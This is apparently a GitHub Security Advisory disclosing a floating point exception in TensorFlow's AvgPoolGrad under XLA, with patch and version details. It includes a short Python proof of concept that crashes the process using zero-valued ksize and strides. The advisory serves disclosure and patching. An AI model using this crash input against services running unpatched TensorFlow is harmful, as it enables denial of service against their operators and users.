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GHSA-rcf8-g8jv-vg6p

GitHub Security Advisory

TensorFlow has Floating Point Exception in AvgPoolGrad with XLA

✓ GitHub Reviewed HIGH Has CVE

Advisory Details

### Impact
If the stride and window size are not positive for `tf.raw_ops.AvgPoolGrad`, it can give an FPE.

```python
import tensorflow as tf
import numpy as np

@tf.function(jit_compile=True)
def test():
y = tf.raw_ops.AvgPoolGrad(orig_input_shape=[1,0,0,0], grad=[[[[0.39117979]]]], ksize=[1,0,0,0], strides=[1,0,0,0], padding="SAME", data_format="NCHW")
return y

print(test())
```

### Patches
We have patched the issue in GitHub commit [1295ae4dbb52fe06b19733b0257e2340d7b63b8d](https://github.com/tensorflow/tensorflow/commit/1295ae4dbb52fe06b19733b0257e2340d7b63b8d).

The fix will be included in TensorFlow 2.12. We will also cherrypick this commit on TensorFlow 2.11.1.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been reported by r3pwnx of 360 AIVul Team

Affected Packages

PyPI tensorflow
Affected versions: 0 (fixed in 2.11.1)
PyPI tensorflow-cpu
Affected versions: 0 (fixed in 2.11.1)
PyPI tensorflow-gpu
Affected versions: 0 (fixed in 2.11.1)

Related CVEs

Key Information

GHSA ID
GHSA-rcf8-g8jv-vg6p
Published
March 24, 2023 9:56 PM
Last Modified
March 30, 2023 10:16 PM
CVSS Score
7.5 /10
Primary Ecosystem
PyPI
Primary Package
tensorflow
GitHub Reviewed
✓ Yes

Dataset

Last updated: November 23, 2025 6:29 AM

Data from GitHub Advisory Database. This information is provided for research and educational purposes.